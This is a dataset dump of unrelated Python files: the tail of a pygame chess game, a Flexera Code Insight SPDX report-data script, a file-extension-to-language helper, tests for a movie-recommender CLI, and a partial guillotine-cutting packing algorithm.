checkStalemate(board, turn):\n drawBoard(board, turn)\n\n stalemate()\n\n inMenu = True\n board = newBoard()\n moveHistory = []\n notationHistory = []\n chosenVariant = 4\n turn = \"white\"\n\n drawBoard(board, turn)\n else:\n target = None\n drawBoard(board, turn)\n\n elif board[y][x] == None or board[y][x].color != turn:\n chosenPiece = None\n target = None\n drawBoard(board, turn)\n\n if not checkForCheckmate(board, turn):\n checkmateMessage(turn)\n inMenu = True\n turn = \"white\"\n board = newBoard()\n moveHistory = []\n notationHistory = []\n drawBoard(board, turn)\n chosenVariant = 4\n print(885, \"Checkmate, \", turn, \" loses\")\n \n \n \n elif event.type == pygame.VIDEORESIZE:\n top, left, squareSize = defineSize()\n screen.fill(color)\n drawBoard(board, turn)\n\nmain()\n","sub_path":"startscreen.py","file_name":"startscreen.py","file_ext":"py","file_size_in_byte":33654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545077645","text":"'''\nCopyright 2020 Flexera Software LLC\nSee LICENSE.TXT for full license text\nSPDX-License-Identifier: MIT\n\nAuthor : sgeary \nCreated On : Wed Oct 21 2020\nFile : report_data.py\n'''\n\nimport logging\nimport os\nimport hashlib\nimport uuid\nimport mimetypes\nimport CodeInsight_RESTAPIs.project.get_project_inventory\nimport CodeInsight_RESTAPIs.project.get_scanned_files\nimport CodeInsight_RESTAPIs.project.get_project_evidence\nimport CodeInsight_RESTAPIs.project.get_child_projects\n\nimport SPDX_license_mappings # To map evidence to an SPDX license name\nimport filetype_mappings\n\nlogger = logging.getLogger(__name__)\n\n#-------------------------------------------------------------------#\ndef gather_data_for_report(baseURL, projectID, authToken, reportName, reportVersion, reportOptions):\n logger.info(\"Entering gather_data_for_report\")\n\n # Parse report options\n includeChildProjects = reportOptions[\"includeChildProjects\"] # True/False\n\n projectList = [] # List to hold parent/child details for report\n projectData = {} # Create a dictionary containing the project level summary data using projectID as keys\n\n # Get the list of parent/child projects start at the base project\n projectHierarchy = CodeInsight_RESTAPIs.project.get_child_projects.get_child_projects_recursively(baseURL, projectID, authToken)\n projectName = projectHierarchy[\"name\"]\n\n SPDXVersion = \"SPDX-2.2\"\n DataLicense = \"CC0-1.0\"\n DocumentNamespaceBase = \"http:/spdx.org/spdxdocs\" # This shold be modified for each Code Insight instance\n Creator = \"Code Insight\"\n\n # Create a list of project data sorted by the project name at each level for report display \n # Add details for the parent node\n nodeDetails = {}\n nodeDetails[\"parent\"] = \"#\" # The root node\n nodeDetails[\"projectName\"] = projectName\n nodeDetails[\"projectID\"] = projectID\n nodeDetails[\"projectLink\"] = baseURL + \"/codeinsight/FNCI#myprojectdetails/?id=\" + str(projectHierarchy[\"id\"]) + \"&tab=projectInventory\"\n\n projectList.append(nodeDetails)\n\n if includeChildProjects == \"true\":\n projectList = create_project_hierarchy(projectHierarchy, projectID, projectList, baseURL)\n else:\n logger.debug(\"Child hierarchy disabled\")\n\n # Gather the details for each project and summerize the data\n for project in projectList:\n\n projectID = project[\"projectID\"]\n projectName = project[\"projectName\"]\n\n projectInventory = CodeInsight_RESTAPIs.project.get_project_inventory.get_project_inventory_details_without_vulnerabilities(baseURL, projectID, authToken)\n inventoryItems = projectInventory[\"inventoryItems\"]\n\n # Create empty dictionary for project level data for this project\n projectData[projectID] = {}\n projectData[projectID][\"projectName\"] = projectName\n \n spdxPackages = {}\n filesNotInComponents = []\n\n for inventoryItem in inventoryItems:\n \n inventoryType = inventoryItem[\"type\"]\n \n # Seperate out Inventory vs WIP or License Only items\n if inventoryType == \"Component\":\n\n componentName = inventoryItem[\"componentName\"].replace(\" \", \"_\")\n versionName = inventoryItem[\"componentVersionName\"].replace(\" \", \"_\").replace('/', '')\n inventoryID = inventoryItem[\"id\"]\n packageName = componentName + \"-\" + versionName + \"-\" + str(inventoryID)\n\n logger.info(\"Processing %s\" %(packageName))\n filesInInventory = inventoryItem[\"filePaths\"]\n\n # Contains the deatils for the package/inventory item\n spdxPackages[packageName] ={}\n spdxPackages[packageName][\"reportName\"] = str(projectID) + \"-\" + packageName.replace(\" \", \"_\") + \".spdx\"\n spdxPackages[packageName][\"packageName\"] = packageName\n spdxPackages[packageName][\"SPDXID\"] = \"SPDXRef-Pkg-\" + packageName\n spdxPackages[packageName][\"PackageFileName\"] = packageName\n spdxPackages[packageName][\"DocumentName\"] = projectName + \"-\" + packageName.replace(\" \", \"_\")\n spdxPackages[packageName][\"DocumentNamespace\"] = DocumentNamespaceBase + \"/\" + projectName + \"-\" + packageName.replace(\" \", \"_\") + \"-\" + str(uuid.uuid1())\n spdxPackages[packageName][\"PackageDownloadLocation\"] = inventoryItem[\"componentUrl\"]\n spdxPackages[packageName][\"containedFiles\"] = filesInInventory\n\n ##########################################\n # Manage Concluded licenes\n logger.info(\" Manage Concluded/Possible Licenses\")\n PackageLicenseConcluded = []\n try:\n possibleLicenses = inventoryItem[\"possibleLicenses\"]\n for license in possibleLicenses:\n possibleLicenseSPDXIdentifier = license[\"licenseSPDXIdentifier\"]\n if possibleLicenseSPDXIdentifier in SPDX_license_mappings.LICENSEMAPPINGS:\n logger.info(\" \\\"%s\\\" maps to SPDX ID \\\"%s\\\"\" %(possibleLicenseSPDXIdentifier, SPDX_license_mappings.LICENSEMAPPINGS[possibleLicenseSPDXIdentifier]) )\n PackageLicenseConcluded.append(SPDX_license_mappings.LICENSEMAPPINGS[license[\"licenseSPDXIdentifier\"]])\n \n else:\n # There was not a valid SPDX ID \n logger.warning(\" \\\"%s\\\" is not a valid SPDX identifier. - Using NOASSERTION.\" %(possibleLicenseSPDXIdentifier))\n PackageLicenseConcluded.append(\"NOASSERTION\") \n except:\n PackageLicenseConcluded.append([\"NOASSERTION\"]) \n\n if len(PackageLicenseConcluded) == 0:\n PackageLicenseConcluded = \"NOASSERTION\"\n elif len(PackageLicenseConcluded) == 1:\n PackageLicenseConcluded = PackageLicenseConcluded[0]\n else:\n PackageLicenseConcluded = \"(\" + ' OR '.join(sorted(PackageLicenseConcluded)) + \")\"\n\n\n spdxPackages[packageName][\"PackageLicenseConcluded\"] = PackageLicenseConcluded\n\n ##########################################\n # Manage Declared license\n logger.info(\" Manage Declared License\")\n selectedLicenseSPDXIdentifier = inventoryItem[\"selectedLicenseSPDXIdentifier\"]\n\n # Need to make sure that there is a valid SPDX license mapping\n if selectedLicenseSPDXIdentifier in SPDX_license_mappings.LICENSEMAPPINGS:\n logger.info(\" \\\"%s\\\" maps to SPDX ID: \\\"%s\\\"\" %(selectedLicenseSPDXIdentifier, SPDX_license_mappings.LICENSEMAPPINGS[selectedLicenseSPDXIdentifier] ))\n PackageLicenseDeclared = (SPDX_license_mappings.LICENSEMAPPINGS[selectedLicenseSPDXIdentifier])\n else:\n # There was not a valid SPDX license name returned\n logger.warning(\" \\\"%s\\\" is not a valid SPDX identifier. - Using NOASSERTION.\" %(selectedLicenseSPDXIdentifier))\n PackageLicenseDeclared = \"NOASSERTION\"\n \n spdxPackages[packageName][\"PackageLicenseDeclared\"] = PackageLicenseDeclared\n \n else:\n # This is a WIP or License only item so take the files assocated here and include them in\n # in the files without inventory bucket\n for file in inventoryItem[\"filePaths\"]:\n filesNotInComponents.append(file)\n\n # Create a package to hold files not associated to an inventory item directly\n nonInventoryPackageName = \"OtherFiles\"\n spdxPackages[nonInventoryPackageName] ={}\n spdxPackages[nonInventoryPackageName][\"reportName\"] = str(projectID) + \"-\" + nonInventoryPackageName + \".spdx\"\n spdxPackages[nonInventoryPackageName][\"packageName\"] = nonInventoryPackageName\n spdxPackages[nonInventoryPackageName][\"containedFiles\"] = []\n spdxPackages[nonInventoryPackageName][\"SPDXID\"] = \"SPDXRef-Pkg-\" + nonInventoryPackageName\n spdxPackages[nonInventoryPackageName][\"PackageFileName\"] = nonInventoryPackageName\n spdxPackages[nonInventoryPackageName][\"DocumentName\"] = projectName + \"-\" + nonInventoryPackageName.replace(\" \", \"_\")\n spdxPackages[nonInventoryPackageName][\"DocumentNamespace\"] = DocumentNamespaceBase + \"/\" + projectName + \"-\" + nonInventoryPackageName.replace(\" \", \"_\") + \"-\" + str(uuid.uuid1())\n spdxPackages[nonInventoryPackageName][\"PackageDownloadLocation\"] = \"NOASSERTION\"\n spdxPackages[nonInventoryPackageName][\"PackageLicenseConcluded\"] = \"NOASSERTION\"\n spdxPackages[nonInventoryPackageName][\"PackageLicenseDeclared\"] = \"NOASSERTION\"\n \n ############################################################################\n # Dictionary to contain all of the file specific data\n fileDetails = {}\n\n # Collect the copyright/license data per file and create dict based on \n projectEvidenceDetails = CodeInsight_RESTAPIs.project.get_project_evidence.get_project_evidence(baseURL, projectID, authToken)\n\n # Dictionary to contain all of the file specific data\n fileEvidence = {}\n\n for fileEvidenceDetails in projectEvidenceDetails[\"data\"]:\n remoteFile = bool(fileEvidenceDetails[\"remote\"])\n scannedFileId = fileEvidenceDetails[\"scannedFileId\"]\n filePath = fileEvidenceDetails[\"filePath\"]\n copyrightEvidenceFound= fileEvidenceDetails[\"copyRightMatches\"]\n licenseEvidenceFound = list(set(fileEvidenceDetails[\"licenseMatches\"]))\n \n # Create a unique identifier based on fileID and scan location\n uniqueFileID = str(scannedFileId) + (\"-r\" if remoteFile else \"-s\")\n \n logger.info(\"File level evidence for %s - %s\" %(uniqueFileID, filePath))\n\n ##########################################\n # Manage File Level licenses\n if licenseEvidenceFound:\n logger.info(\" License evidience discovered\")\n # The license evidience is not in SPDX form so consolidate and map \n for index, licenseEvidence in enumerate(licenseEvidenceFound):\n if licenseEvidence in SPDX_license_mappings.LICENSEMAPPINGS:\n licenseEvidenceFound[index] = SPDX_license_mappings.LICENSEMAPPINGS[licenseEvidence]\n logger.info(\" \\\"%s\\\" maps to SPDX ID: \\\"%s\\\"\" %(licenseEvidence, SPDX_license_mappings.LICENSEMAPPINGS[licenseEvidence] ))\n else:\n logger.warning(\" File contains '%s' which is not a valid SPDX ID. - Using NOASSERTION.\" %(licenseEvidence))\n\n licenseEvidenceFound[index] = \"NOASSERTION\"\n \n licenseEvidenceFound = licenseEvidenceFound \n else:\n logger.info(\" No license evidience discovered\")\n licenseEvidenceFound = [\"NONE\"]\n\n ##########################################\n # Manage File Level Copyrights\n if copyrightEvidenceFound:\n logger.info(\" Copyright evidience discovered\")\n else:\n logger.info(\" No copyright evidience discovered\")\n copyrightEvidenceFound = [\"NONE\"]\n\n fileEvidence[uniqueFileID] = {}\n fileEvidence[uniqueFileID][\"Filename\"]= filePath\n fileEvidence[uniqueFileID][\"copyrightEvidenceFound\"]= copyrightEvidenceFound\n fileEvidence[uniqueFileID][\"licenseEvidenceFound\"]= licenseEvidenceFound \n\n # Collect a list of the scanned files\n scannedFiles = CodeInsight_RESTAPIs.project.get_scanned_files.get_scanned_files_details_with_MD5_and_SHA1(baseURL, projectID, authToken)\n\n # A dict to allow going from file path to unique ID (could be mulitple?)\n filePathToID = {}\n # Cycle through each scanned file\n\n invalidSHA1 = False # Default value\n for scannedFile in scannedFiles:\n scannedFileDetails = {}\n remoteFile = scannedFile[\"remote\"]\n scannedFileId = scannedFile[\"fileId\"]\n FileName = scannedFile[\"filePath\"] \n inInventory = scannedFile[\"inInventory\"] \n\n # Create a unique identifier based on fileID and scan location\n if remoteFile == \"false\":\n uniqueFileID = str(scannedFileId) + \"-s\"\n else:\n uniqueFileID = str(scannedFileId) + \"-r\"\n\n # Add the ID to a list or create the list in the first place\n try:\n filePathToID[FileName].append(uniqueFileID)\n except:\n filePathToID[FileName] = [uniqueFileID] \n\n # Check to see if the file was associated to an WIP or License only item\n # If it is set the inInvenetory flag to false\n if FileName in filesNotInComponents:\n inInventory = \"false\"\n\n # Is the file already in inventory or do we need to deal wtih it?\n if inInventory == \"false\":\n try:\n spdxPackages[nonInventoryPackageName][\"containedFiles\"].append(FileName)\n except:\n spdxPackages[nonInventoryPackageName][\"containedFiles\"] = [FileName]\n\n # Determine the file type. Default to any specific mappings\n filename, file_extension = os.path.splitext(FileName)\n if file_extension in filetype_mappings.fileTypeMappings:\n scannedFileDetails[\"FileType\"] = filetype_mappings.fileTypeMappings[file_extension]\n\n else:\n # See if there is a MIME type associated to the file\n fileType = mimetypes.MimeTypes().guess_type(FileName)[0]\n\n if fileType:\n scannedFileDetails[\"FileType\"] = fileType.split(\"/\")[0].upper()\n else:\n logger.info(\"Unmapped file type extension for file: %s\" %FileName)\n scannedFileDetails[\"FileType\"] = \"OTHER\"\n \n scannedFileDetails[\"FileLicenseConcluded\"] = \"NOASSERTION\"\n scannedFileDetails[\"FileName\"] = FileName\n scannedFileDetails[\"fileId\"] = uniqueFileID\n scannedFileDetails[\"fileMD5\"] = scannedFile[\"fileMD5\"]\n\n if scannedFile[\"fileSHA1\"]:\n scannedFileDetails[\"fileSHA1\"] = scannedFile[\"fileSHA1\"]\n else:\n logger.error(\"%s does not have a SHA1 calculation\" %FileName)\n scannedFileDetails[\"fileSHA1\"] = hashlib.sha1(scannedFile[\"fileMD5\"].encode('utf-8')).hexdigest()\n invalidSHA1 = True # There was no SHA1 for at least one file\n \n scannedFileDetails[\"SPDXID\"] = \"SPDXRef-File-\" + uniqueFileID\n\n fileContainsEvidence = scannedFile[\"containsEvidence\"] \n\n if fileContainsEvidence:\n scannedFileDetails[\"LicenseInfoInFile\"] = []\n\n if fileEvidence[uniqueFileID][\"copyrightEvidenceFound\"]:\n scannedFileDetails[\"FileCopyrightText\"] = fileEvidence[uniqueFileID][\"copyrightEvidenceFound\"]\n else:\n scannedFileDetails[\"FileCopyrightText\"] = [\"NOASSERTION\"]\n\n if fileEvidence[uniqueFileID][\"licenseEvidenceFound\"]:\n scannedFileDetails[\"LicenseInfoInFile\"] = fileEvidence[uniqueFileID][\"licenseEvidenceFound\"]\n\n fileDetails[uniqueFileID] = scannedFileDetails\n # Are there any files not asscoaited to an inventory item?\n if not len(spdxPackages[nonInventoryPackageName][\"containedFiles\"]):\n logger.debug(\"All files are asscoiated to at least one inventory item\")\n spdxPackages.pop(nonInventoryPackageName)\n\n # Merge the results to map each package (inventory item) with the assocaited files\n for package in spdxPackages:\n \n spdxPackages[package][\"files\"] = {} \n\n for file in spdxPackages[package][\"containedFiles\"]:\n\n # Do we have data for this file?\n fileIDList = filePathToID[file]\n\n # It is be possible to have multiple files with the same path\n for fileID in fileIDList:\n spdxPackages[package][\"files\"][file] = fileDetails[fileID]\n\n fileHashes = []\n fileLicenses = []\n\n for file in spdxPackages[package][\"files\"]:\n # Create a list of SHA1 values to hash\n fileHashes.append(spdxPackages[package][\"files\"][file][\"fileSHA1\"])\n # Collect licesne info from files\n fileLicenses.extend(spdxPackages[package][\"files\"][file][\"LicenseInfoInFile\"])\n\n # Create a hash of the file hashes for PackageVerificationCode \n stringHash = ''.join(sorted(fileHashes))\n spdxPackages[package][\"PackageVerificationCode\"] = (hashlib.sha1(stringHash.encode('utf-8'))).hexdigest()\n spdxPackages[package][\"PackageLicenseInfoFromFiles\"] = set(fileLicenses)\n\n projectData[projectID][\"spdxPackages\"] = spdxPackages\n projectData[projectID][\"DocumentName\"] = projectName.replace(\" \", \"_\") + \"-\" + str(projectID)\n projectData[projectID][\"DocumentNamespace\"] = DocumentNamespaceBase + \"/\" + projectName.replace(\" \", \"_\") + \"-\" + str(projectID) + \"-\" + str(uuid.uuid1())\n\n # Was there any files that did not contains SHA1 details?\n projectData[projectID][\"invalidSHA1\"] = invalidSHA1\n\n SPDXData = {}\n SPDXData[\"SPDXVersion\"] = SPDXVersion\n SPDXData[\"DataLicense\"] = DataLicense\n SPDXData[\"Creator\"] = Creator\n SPDXData[\"projectData\"] = projectData\n SPDXData[\"DocumentNamespaceBase\"] = DocumentNamespaceBase\n\n reportData = {}\n reportData[\"reportName\"] = reportName\n reportData[\"projectName\"] = projectHierarchy[\"name\"]\n reportData[\"projectID\"] = projectHierarchy[\"id\"]\n reportData[\"projectList\"] = projectList\n reportData[\"reportVersion\"] = reportVersion\n reportData[\"SPDXData\"] = SPDXData\n\n return reportData\n\n\n#----------------------------------------------#\ndef create_project_hierarchy(project, parentID, projectList, baseURL):\n logger.debug(\"Entering create_project_hierarchy\")\n\n # Are there more child projects for this project?\n if len(project[\"childProject\"]):\n\n # Sort by project name of child projects\n for childProject in sorted(project[\"childProject\"], key = lambda i: i['name'] ) :\n\n nodeDetails = {}\n nodeDetails[\"projectID\"] = str(childProject[\"id\"])\n nodeDetails[\"parent\"] = parentID\n nodeDetails[\"projectName\"] = childProject[\"name\"]\n nodeDetails[\"projectLink\"] = baseURL + \"/codeinsight/FNCI#myprojectdetails/?id=\" + str(childProject[\"id\"]) + \"&tab=projectInventory\"\n\n projectList.append( nodeDetails )\n\n create_project_hierarchy(childProject, childProject[\"id\"], projectList, baseURL)\n\n return projectList\n\n\n","sub_path":"report_data.py","file_name":"report_data.py","file_ext":"py","file_size_in_byte":19299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"645519284","text":"import sys, os.path, pathlib\nsys.path.append(os.path.expanduser('~/root/_meta/path/'))\nfrom PathIni import PathIni\nimport yaml\n\nclass ExtToLang:\n def __init__(self):\n self.__path_dir_this = pathlib.Path(__file__).parent\n self.__path_target = None\n #self.__path_target = os.path.join(PathIni()['root_db_meta_programming'], \"languages.yml\")\n\n def To(self, ext):\n #print(ext)\n if type(ext) != str: raise ValueError('引数extは拡張子を表す文字列にしてください。(実行環境や言語を表す短いテキスト) 例: py')\n \n filepath = self.__GetExt2LangTsvFile()\n if filepath is not None: return self.__GetExt2LangTsv(filepath, ext if ext[0] != '.' else ext.lstrip('.'))\n filepath = self.__GetTsvFile()\n if filepath is not None: return self.__GetFromTsv(filepath, ext if ext[0] != '.' else ext.lstrip('.'))\n filepath = self.__GetYamlFile()\n if filepath is not None: return self.__GetFromYaml(filepath, ext if ext[0] == '.' else '.' + ext)\n raise Exception('拡張子と言語名の紐付けを定義したファイルが存在しません。')\n\n def __GetExt2LangTsvFile(self):\n for f in [self.__path_dir_this / 'ext2lang.tsv']:\n if os.path.isfile(f): return f\n\n def __GetExt2LangTsv(self, path, ext):\n import csv\n with open(path) as f:\n for row in csv.reader(f, delimiter='\\t'):\n if ext == row[0]: return row[1]\n\n # 応答1秒。yamlより早い\n def __GetFromTsv(self, path, ext):\n import csv\n with open(path) as f:\n for row in csv.reader(f, delimiter='\\t'):\n if ext in row[1:]: return row[0]\n\n def __GetTsvFile(self):\n for f in [self.__path_dir_this / 'languages.tsv', self.__path_target]:\n if os.path.isfile(f): return f\n\n # なんと6秒もかかる。応答遅すぎ\n def __GetFromYaml(self, path, ext):\n if type(ext) != str: raise ValueError('引数extは拡張子を表す文字列にしてください。例: .py')\n if ext[0] != '.': ext = '.' + ext\n with open(path) as f:\n data = yaml.load(f)\n for key in data.keys():\n if 'extensions' in data[key]:\n if ext in data[key]['extensions']: return key\n \n def __GetYamlFile(self):\n for f in [self.__path_dir_this / 'languages.yml', self.__path_target]:\n if os.path.isfile(f): return f\n\n\nif __name__ == '__main__':\n c = ExtToLang()\n print(c.Get('.js'))\n print(c.Get('js'))\n","sub_path":"src/script/py/_command/pj/name/ExtToLang.py","file_name":"ExtToLang.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221045875","text":"# coding=utf-8\n\"\"\"Tests for the machine learning recommendation algorithm.\"\"\"\nimport unittest\n\nfrom .utils import backup_db, restore_db, run\n\n\ndef setUpModule(): # pylint:disable=invalid-name\n \"\"\"Back up the current database if one exists, and create a new one.\"\"\"\n backup_db()\n run(('mr-dataset', 'install', 'fixture'))\n run(('mr-db', 'create', 'fixture'))\n run(('mr-analyze', 'ml'))\n\n\ndef tearDownModule(): # pylint:disable=invalid-name\n \"\"\"Delete the current database, and restore the old one.\"\"\"\n load_path = run(('mr-db', 'load-path'))[0]\n run(('rm', load_path))\n restore_db()\n\n\nclass PredictTestCase(unittest.TestCase):\n \"\"\"Generate predictions for each user.\"\"\"\n\n def test_user_1(self):\n \"\"\"Verify user 1's predictions.\n\n The best predictor for this user is \"genre:Animation.\"\n \"\"\"\n for movie, target_rating in (\n ('10', '1.0'),\n ('11', '4.5'),\n ('12', '1.0'),\n ('13', '1.0')):\n with self.subTest(movie=movie, target_rating=target_rating):\n actual_rating = run(('mr-predict', 'ml', '1', movie))[0]\n self.assertEqual(target_rating, actual_rating)\n\n def test_user_2(self):\n \"\"\"Verify user 1's predictions.\n\n The best predictor for this user is \"year.\" This dataset has an inverse\n linear relationship between year and rating. We can't get predictions\n for movies that lack year data.\n \"\"\"\n for movie, target_rating in (('10', '4.0'), ('11', '2.0')):\n with self.subTest(movie=movie, target_rating=target_rating):\n actual_rating = run(('mr-predict', 'ml', '2', movie))[0]\n self.assertEqual(target_rating, actual_rating)\n\n def test_user_3(self):\n \"\"\"Verify user 3's predictions.\n\n The best predictor this user is \"(no genres listed).\" All of the movies\n this user has rated have the \"(no genres listed)\" genre. As a result,\n the scatter plot is a vertical line, and the recommendation is the\n average of ratings: 3.5.\n \"\"\"\n for movie, target_rating in (\n ('10', '3.5'),\n ('11', '3.5'),\n ('12', '3.5'),\n ('13', '3.5')):\n with self.subTest(movie=movie, target_rating=target_rating):\n actual_rating = run(('mr-predict', 'ml', '3', movie))[0]\n self.assertEqual(target_rating, actual_rating)\n\n def test_user_4(self):\n \"\"\"Verify user 3's predictions.\n\n The best predictor for this user is \"(no genres listed).\" The user\n hasn't rated any movies with year data, so the SSE for a year-based\n predictor is infinite.\n \"\"\"\n for movie, target_rating in (\n ('10', '4.5'),\n ('11', '4.5'),\n ('12', '4.5'),\n ('13', '4.5')):\n with self.subTest(movie=movie, target_rating=target_rating):\n actual_rating = run(('mr-predict', 'ml', '4', movie))[0]\n self.assertEqual(target_rating, actual_rating)\n\n\nclass RecommendTestCase(unittest.TestCase):\n \"\"\"Generate recommendations for each user.\"\"\"\n\n def test_format_csv(self):\n \"\"\"Generate recommendations with ``--format csv``.\"\"\"\n lines = run((\n 'mr-recommend', 'ml', '1', '--count', '1', '--format', 'csv',\n ))\n # The three lines are a header row, a data row, and a blank line.\n self.assertEqual(len(lines), 3, lines)\n\n def test_format_pretty(self):\n \"\"\"Generate recommendations with ``--format pretty``.\"\"\"\n lines = run((\n 'mr-recommend', 'ml', '1', '--count', '1', '--format', 'pretty',\n ))\n self.assertEqual(len(lines), 1, lines)\n\n def test_user_1(self):\n \"\"\"Verify user 1's recommendations.\"\"\"\n lines = run((\n 'mr-recommend', 'ml', '1', '--count', '1', '--format', 'csv',\n ))\n self.assertEqual(len(lines), 3, lines)\n self.assertEqual(lines[1], '11,4.5')\n\n def test_user_2(self):\n \"\"\"Verify user 2's recommendations.\"\"\"\n lines = run((\n 'mr-recommend', 'ml', '2', '--count', '1', '--format', 'csv',\n ))\n self.assertEqual(len(lines), 3, lines)\n self.assertEqual(lines[1], '10,4.0')\n","sub_path":"python/movie-recommender/tests/functional/test_ml.py","file_name":"test_ml.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638992484","text":"import itertools\nimport numpy\n\n\nclass Detail:\n def __init__(self, a, b):\n if a > b:\n self.a = a\n self.b = b\n else:\n self.a = b\n self.b = a\n\n def __str__(self):\n return f'({self.a} x {self.b})'\n\n def __repr__(self):\n return str(self)\n\n\ndef diff(lst, sub):\n \"\"\"\n :param lst: List\n :param sub: It's sublist\n :return: Their exact difference\n \"\"\"\n result = []\n for i in lst:\n if i not in result:\n for j in range(lst.count(i) - sub.count(i)):\n result.append(i)\n return result\n\n\ndef R(D):\n \"\"\"\n :param D: Collection of Details.\n :return: Generator of all possible splits into 2 sub-collections.\n \"\"\"\n for left_size in range(1, int(len(D) / 2) + 1):\n for i in itertools.combinations(D, left_size):\n yield i, diff(D, i)\n\n\ndef table_repr(func):\n \"\"\"\n Wraps the function so it's evaluated at every X point and\n represented as a stair-step function as a numpy-table.\n \"\"\"\n def wrapper(D):\n table = numpy.array([[], []], dtype='int')\n maximum = 0\n max_b = 0\n for detail in D:\n maximum += detail.a\n if detail.b > max_b:\n max_b = detail.b\n for x in range(max_b, maximum):\n result = func(x, D)\n if table.size:\n last_column = table[:, len(table[0])-1]\n if not table.size or result != last_column[1]:\n column = numpy.array([[x], [result]])\n table = numpy.append(table, column, axis=1)\n if result == max_b:\n return table\n return wrapper\n\n\ndef f_vertical(x, D):\n \"\"\"\n This is the same as function f(x, D), but it assumes that the first\n guillotine cut is vertical.\n \"\"\"\n minimum = None\n for D1, D2 in R(D):\n for z in range(int(x/2)+1):\n m = max(f(z, D1), f(x - z, D2))\n if not minimum or m < minimum:\n minimum = m\n return minimum\n\n\ndef f_horizontal(x, D):\n \"\"\"\n This is the same as function f(x, D), but it assumes that the first\n guillotine cut is horizontal.\n \"\"\"\n minimum = None\n for D1, D2 in R(D):\n m = f(x, D1) + f(x, D2)\n if not minimum or m < minimum:\n minimum = m\n return minimum\n\n\ndef f(x, D):\n \"\"\"\n :param x: Width of the strip.\n :param D: Collection of Details.\n :return: Minimum height (y) of the strip of width x, which is enough\n for guillotine allocation for collection D.\n \"\"\"\n max_b = 0\n for detail in D:\n if detail.b > max_b:\n max_b = detail.b\n if max_b > x:\n return 100000\n elif len(D) == 1:\n if D[0].a <= x:\n return D[0].b\n else:\n return D[0].a\n else:\n return min(f_vertical(x, D), f_horizontal(x, D))\n\n\nGAF = table_repr(f)\n\n\ndef Num(d1, d2):\n return 0\n\n\nclass Entry:\n def __init__(self, x, y, r, N):\n self.x = x\n self.y = y\n self.r = r\n self.N = N\n\n def __str__(self):\n return f'{self.x} {self.y} {self.r} {self.N}'\n\n\nclass EGAF:\n def __init__(self, D, entries):\n self.D = D\n self.entries = entries\n\n def n(self):\n return len(self.entries)\n\n def __getitem__(self, item):\n return self.entries[item]\n\n def __setitem__(self, key, value):\n self.entries[key] = value\n return value\n\n def add_entry(self, entry):\n self.entries.append(entry)\n\n\nclass Operator:\n def __init__(self, EGAF1, EGAF2):\n self.f1 = EGAF1\n self.f2 = EGAF2\n self.f = EGAF([], [])\n self.n1, self.n2 = self.f1.n(), self.f2.n()\n self.i1, self.i2, self.i = 1, 1, 1\n\n def sum(self):\n while self.c1() or self.c2() or self.c3() or self.c4():\n if self.c1() and self.c2():\n if self.c5():\n self.a1()\n else:\n if self.c6():\n self.a2()\n else:\n self.a3()\n if self.c1() and not self.c2():\n if self.c4():\n if self.c5():\n self.a4()\n else:\n if self.c6():\n self.a2()\n else:\n self.a3()\n else:\n self.a4()\n if not self.c1() and self.c2():\n if self.c3():\n if self.c5():\n self.a1()\n else:\n if self.c6():\n self.a5()\n else:\n self.a3()\n else:\n self.a5()\n else:\n if self.c3() and self.c4():\n if self.c5():\n self.a4()\n else:\n if self.c6():\n self.a5()\n else:\n self.a3()\n elif self.c3() and not self.c4():\n self.a4()\n elif not self.c3() and self.c4():\n self.a5()\n\n def minimum(self):\n while self.c3() or self.c4():\n if self.c3() and self.c4():\n if self.c5():\n if self.c8():\n self.b1()\n else:\n self.b2()\n else:\n if self.c6():\n if self.c7():\n self.b3()\n else:\n self.b4()\n else:\n if self.c7():\n self.b2()\n else:\n if self.c8():\n self.b4()\n else:\n self.b5()\n else:\n if self.c3():\n self.b1()\n elif self.c4():\n self.b2()\n\n def c1(self):\n return self.i1 == 1\n\n def c2(self):\n return self.i2 == 1\n\n def c3(self):\n return self.i1 <= self.n1\n\n def c4(self):\n return self.i2 <= self.n2\n\n def c5(self):\n return self.f1[self.i1].x < self.f2[self.i2].x\n\n def c6(self):\n return self.f1[self.i1].x > self.f2[self.i2].x\n\n def c7(self):\n return self.f1[self.i1].y < self.f2[self.i2].y\n\n def c8(self):\n return self.f1[self.i1].y > self.f2[self.i2].y\n\n def a1(self):\n self.i1 += 1\n\n def a2(self):\n self.i2 += 1\n\n def a3(self):\n self.f[self.i].x = self.f1[self.i1].x\n self.f[self.i].y = self.f1[self.i1].y + self.f2[self.i2].y\n self.f[self.i].r = self.f1[self.i1].y\n self.f[self.i].N = Num(self.f1.D, self.f2.D) # ????\n self.i1 += 1\n self.i2 += 1\n self.i += 1\n\n def a4(self):\n self.f[self.i].x = self.f1[self.i1].x\n self.f[self.i].y = self.f1[self.i1].y + self.f2[self.i2 - 1].y\n self.f[self.i].r = self.f1[self.i1].y\n self.f[self.i].N = Num(self.f1.D, self.f2.D) # ????\n self.i1 += 1\n self.i += 1\n\n def a5(self):\n self.f[self.i].x = self.f2[self.i2].x\n self.f[self.i].y = self.f1[self.i1 - 1].y + self.f2[self.i2].y\n self.f[self.i].r = self.f1[self.i1 - 1].y\n self.f[self.i].N = Num(self.f1.D, self.f2.D) # ????\n self.i2 += 1\n self.i += 1\n\n def b1(self):\n self.f[self.i].x = self.f1[self.i1].x\n self.f[self.i].y = self.f1[self.i1].y\n self.f[self.i].r = self.f1[self.i1].r\n self.f[self.i].N = self.f1[self.i1].N\n self.i += 1\n self.i1 += 1\n\n def b2(self):\n self.f[self.i].x = self.f1[self.i1].x\n self.f[self.i].y = self.f1[self.i1].y\n self.f[self.i].r = self.f1[self.i1].r\n self.f[self.i].N = self.f1[self.i1].N\n self.i += 1\n self.i1 += 1\n maximum = 0\n for k in range(self.n2):\n if self.f2[k].y >= self.f[self.i].y:\n maximum = k\n self.i2 = maximum + 1\n\n def b3(self):\n self.f[self.i].x = self.f2[self.i2].x\n self.f[self.i].y = self.f2[self.i2].y\n self.f[self.i].r = self.f2[self.i2].r\n self.f[self.i].N = self.f2[self.i2].N\n self.i += 1\n self.i2 += 1\n\n def b4(self):\n self.f[self.i].x = self.f2[self.i2].x\n self.f[self.i].y = self.f2[self.i2].y\n 